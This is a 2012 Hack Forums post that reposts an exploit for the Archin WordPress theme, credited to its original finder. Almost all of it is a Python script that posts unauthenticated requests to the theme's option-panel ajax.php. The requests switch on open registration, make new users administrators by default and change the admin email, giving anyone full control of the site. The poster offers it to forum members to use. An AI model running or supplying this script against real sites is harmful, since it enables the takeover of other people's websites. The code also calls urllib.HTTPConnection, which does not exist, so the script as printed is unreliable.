

Forum:[Hack Forums](#)

Thread: [\[Exploit\]Archin WordPress Theme Unauthenticated Configuration Access\[Exploit\]](#)

xx 0x0 xx - October 1, 2012, 2:04 pm

hi HF members i sow this exploit at exploit-db so i decided to get it in here
sorry if it here already but i didnt sow it here lately

Quote:# Exploit Title: Archin WordPress Theme Unauthenticated Configuration Access

Date: Sept 29, 2012

Exploit Author: bwall (@bwallHatesTwits)

Vendor Homepage: <http://themeforest.net/user/wptitans>

Software Link: <http://themeforest.net/item/archin-premium-wordpress-business-theme/239432>

Version: 3.2

Tested on: Ubuntu

import urllib, urllib

#target site

site = "10.10.10.5"

#path to ajax.php

url = "/wordpress/wp-content/themes/archin/hades_framework/option_panel/ajax.php"

def ChangeOption(site, url, option_name, option_value):

 params = urllib.urlencode({'action': 'save', 'values[0][name]': option_name, 'values[0][value]':
option_value})

 headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}

 conn = urllib.HTTPConnection(site)

 conn.request("POST", url, params, headers)

 response = conn.getresponse()

 print response.status, response.reason

 data = response.read()

 print data

 conn.close()

ChangeOption(site, url, "admin_email", "fake@ballastsecurity.net")

ChangeOption(site, url, "users_can_register", "1")

ChangeOption(site, url, "default_role", "administrator")

print "Now register a new user, they are an administrator by default!"

all Cridets gos to the real finder bwall (@bwallHatesTwits)

i hope it gonna be useful for you

sorry for my bad english :)

best regards

mats0o0o0~Volcan